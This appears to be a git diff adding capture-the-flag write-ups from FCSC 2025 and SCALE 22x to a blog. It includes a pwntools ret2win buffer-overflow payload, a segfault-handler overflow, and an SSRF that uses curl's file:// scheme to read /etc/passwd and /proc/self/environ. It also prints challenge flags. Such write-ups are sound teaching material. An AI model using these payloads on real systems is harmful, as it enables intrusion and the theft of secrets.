+flag.txt +xortp +$ cat flag.txt +FCSC{5f6162c46e47b68ad0d1b4a5e12404ad51431b197e37ff79ef940787fecfb554} +``` diff --git a/content/writeups/2025/fcsc/web/win95_forever.md b/content/writeups/2025/fcsc/web/win95_forever.md new file mode 100644 index 0000000..6d91bf0 --- /dev/null +++ b/content/writeups/2025/fcsc/web/win95_forever.md @@ -0,0 +1,14 @@ ++++ +date = '2025-04-27T14:23:22+02:00' +draft = false +title = 'Win95 Forever (intro)' +tags = [ "web" ] ++++ + +Title: Win95 Forever (intro) +Points: 25 +Number of solves: 1478 +Description: Bienvenue dans les années 90 ! + +We are presented with a simple web page and the flag is in the source code :) +`FCSC{d31df42c489570dae488fa071326510903ef452dcde00a2dd22447c7d15ae104}` diff --git a/content/writeups/2025/scale/_index.md b/content/writeups/2025/scale/_index.md new file mode 100644 index 0000000..c4649b8 --- /dev/null +++ b/content/writeups/2025/scale/_index.md @@ -0,0 +1,14 @@ ++++ +date = '2025-04-28T12:00:00+02:00' +draft = false +title = 'SCALE 22x' ++++ + +![logo_scale](logo_scale.png) + +I attended the South California Linux Expo better known as [SCALE](https://www.socallinuxexpo.org) for its 22nd edition. For this occasion a CTF (2 actually but I didn't try the other one as it was at the same time) was organised by pacific hackers. +The CTF lasted 2h30 and me and a friend were able to get first place. + +- Web + - [artist](./web.md) + - [the_dev_robots](./web.md) diff --git a/content/writeups/2025/scale/exploitation/acid_burn.md b/content/writeups/2025/scale/exploitation/acid_burn.md new file mode 100644 index 0000000..89d5ce5 --- /dev/null +++ b/content/writeups/2025/scale/exploitation/acid_burn.md @@ -0,0 +1,42 @@ ++++ +date = '2025-04-28T12:00:00+02:00' +draft = false +title = 'Acid burn' +tags = ['pwn'] ++++ + +Here is the decompiled code for the challenge. +```c +int main(void) +{ + int iVar1; + char input [64]; + + printf("What is the password?\n?: "); + fflush(stdout); + fgets(input,0x80,stdin); + iVar1 = strcmp(input,"password\n"); + if (iVar1 != 0) { + puts("incorrect password"); + fflush(stdout); + } + return 0; +} +``` + +There is a pretty large buffer overflow on the `input` variable and there also conveniently is a function called `flag` that displays the flag (and of course all the protections are disabled). +This is a classic ret2win scenario where we have to overwrite the return pointer to jump to the `flag` function. +A small python script using pwntools should do the job. +```python +io = start() + +payload = flat( + b'A'*(64+8), + pack(elf.symbols.flag)) + +write("payload", payload) +io.sendlineafter(b'?: ', payload) +io.interactive() +``` + +I didn't save the flag but this works and solves the challenge. diff --git a/content/writeups/2025/scale/exploitation/crash_override.md b/content/writeups/2025/scale/exploitation/crash_override.md new file mode 100644 index 0000000..2d93512 --- /dev/null +++ b/content/writeups/2025/scale/exploitation/crash_override.md @@ -0,0 +1,68 @@ ++++ +date = '2025-04-28T12:00:00+02:00' +draft = false +title = 'Crash override' +tags = ['pwn'] ++++ + +This challenge is funny and I've never seen it before it was really easy once I turned on my brain and realised that the solution isn't supposed to work on my local system without the provided container and that I should try on the remote. + +So we get a file and the usual nc command, as always lets fire up ghidra and see what we're dealing with. + +```c +int main(void) +{ + int iVar1; + char input [64]; + + signal(0xb,on_segfault); + printf("What is the password?\n?: "); + fflush(stdout); + fgets(input,0x80,stdin); + iVar1 = strcmp(input,"password\n"); + if (iVar1 != 0) { + puts("incorrect password"); + fflush(stdout); + } + return 0; +} +``` + +This looks like a simple password checking function, however we quickly notice two things. +1. First we have a nice little buffer overflow on the input, we are able to input 0x80 chars (which is 128 in decimal) inside of a 60 bytes buffer. For a beginner oriented CTF this isn't surprising. +2. More surprising is the use of `signal` which I guessed allows to do something when receiving a syscall. After a quick look at the manual I was right. This allow us to map a signal to a function resulting in a call to the function being performed when the signal is received by the program (I don't think this is all and I am not sure that it is exactly what happens but it's more than enough to do the challenge). By the name of the function and after a quick look on the internet we can confirm that `0xb` (11 in decimal) is the syscall number for `SIGSEGV` better know as the segmentation fault (invalid memory reference, tried to dereference an invalid pointer). + +So putting it all together we have a buffer overflow that allows us to trigger a segfault by overriding the return pointer and a function that executes when a segfault occurs. But what's that function ? + +```C +void on_segfault(int sig_num) +{ + int iVar1; + FILE *__stream; + char acStack_b0 [64]; + code *pcStack_70; + int sig_num_local; + char data [64]; + FILE *fd; + + sig_num_local = sig_num; + __stream = fopen("./flag","r"); + fgets(data,0x40,__stream); + printf("%s",data); + fclose(__stream); + FUN_00401140(1); + signal(0xb,on_segfault); + printf("What is the password?\n?: "); + fflush(stdout); + fgets(acStack_b0,0x80,stdin); + iVar1 = strcmp(acStack_b0,"password\n"); + if (iVar1 != 0) { + puts("incorrect password"); + fflush(stdout); + } + return; +} +``` + +I removed some bloat but what this function basically does is read the flag and print it. +So we know what to do, trigger a segfault and you're done. To do that send about 100 characters and you get the flag. diff --git a/content/writeups/2025/scale/logo_scale.png b/content/writeups/2025/scale/logo_scale.png new file mode 100644 index 0000000..195b0ff Binary files /dev/null and b/content/writeups/2025/scale/logo_scale.png differ diff --git a/content/writeups/2025/scale/misc/bashcrawl.md b/content/writeups/2025/scale/misc/bashcrawl.md new file mode 100644 index 0000000..4be03a4 --- /dev/null +++ b/content/writeups/2025/scale/misc/bashcrawl.md @@ -0,0 +1,41 @@ ++++ +date = '2025-04-28T12:00:00+02:00' +draft = false +title = 'bashcrawl' +tags = ['misc'] ++++ + +Bashcrawl is a series of challenges revolving around the [bashcrawl](https://github.com/mks22-dw/bashcrawl) game which purpose is to teach the basics of using a POSIX (Linux, BSD, UNIX) terminal. +Having used Linux for a few years I did not need to learn how to use the command line and didn't have time either as I had a CTF to win. +So I decided to use alternate ways of finding the answers to the challenges. This will mostly resolve around using `grep` to find where is the part related to the current challenge. +If you want to try this yourself just clone the [repo](https://github.com/mks22-dw/bashcrawl). +Without further ado lets get started. + +## Bashcrawl 1 + +Where are you ? + +This is an easy one and we simply need to give the name of the starting directory which is `entrance`. + +## Bashcrawl 2 + +Where does the portal lead ? + +We are supposed to play the game until we encounter a portal (which is creating a link using `ln`) and give the name of the directory we end up in. +But this is to long I don't have time to play this game so : +```bash +$ grep -r "portal" +``` +```txt +cellar/armoury/chamber/spell: echo "a portal that will allow you to walk through" +cellar/armoury/chamber/spell: echo "ln -f -s `pwd`/../../../chapel/courtyard/aviary/hall portal" +.scrap:# ln -s ../../../../.rift portal +``` + +There are two places where a portal is mentionned in the .scrap file and in a file in the chamber . As a lazy person I of course start by the one I am already in, the portal that lead to the rift. Wrong flag, ok then it's the other one. I try the other one and it's correct, the flag is `spell`. + +## Bashcrawl 3-6 + +I am not going to give you all the solutions you will have to finish by yourself 😉 + + diff --git a/content/writeups/2025/scale/web/web.md b/content/writeups/2025/scale/web/web.md new file mode 100644 index 0000000..f0cdd1a --- /dev/null +++ b/content/writeups/2025/scale/web/web.md @@ -0,0 +1,47 @@ ++++ +date = '2025-04-28T12:00:00+02:00' +draft = false +title = 'Web challenges' +tags = ['web'] ++++ + +Two challenges solved in web + +# The dev robots + +This involved downloading an exposed .git and using the git history to recover an admin password. + +# Artist + +This was a webpage with a function to change the background to any image using curl on the server. +```python +@app.route('/set_background', methods=['POST']) +def set_background(): + try: + background = request.json.get('background', '') + + if not (background.startswith('#') or background.startswith('rgb') or background.replace(' ', '').isalpha()): + try: + result = subprocess.run( + ['curl', '-s', '-L', background], + capture_output=True, + shell=False + ) + + if result.returncode == 0 and result.stdout: + encoded = base64.b64encode(result.stdout).decode('utf-8') + return jsonify({ + 'background': f'data:image/png;base64,{encoded}' + }) + return jsonify({'background': ''}) +``` + +This way of calling curl using subprocess is (as far as I know) immune to command injections attacks however we still control the url field. +curl supports a really useful protocol called `file` which allows you to read any file on the system (as long as the use running the process as read permissions). + +So we can for example send `file:///etc/passwd` for the url of the background and we will receive the base64 encoded content of the file. +Ok but this doesn't seem that useful at first because there is no `flag.txt` the flag is an environment variable. +Something nice about linux is that a lot of informations on the current state of the different processes is avaible in the `/proc` pseudo filesystem. In that filesystem we have the directory `/proc/self` containing informations about the process that reads it. +And furthermore in that directory is the file `/proc/self/environ` which when read returns all the environment variables for the current process. + +So we send `file:///proc/self/environ` as the url for the background image and receive all the environment variables base64 encoded. Including the flag. diff --git a/content/writeups/_index.md b/content/writeups/_index.md index deb96b0..bdbc353 100644 --- a/content/writeups/_index.md +++ b/content/writeups/_index.md @@ -1,5 +1,5 @@ +++ date = '2025-06-23T14:23:22+02:00' -draft = true +draft = false title = 'Writeups' +++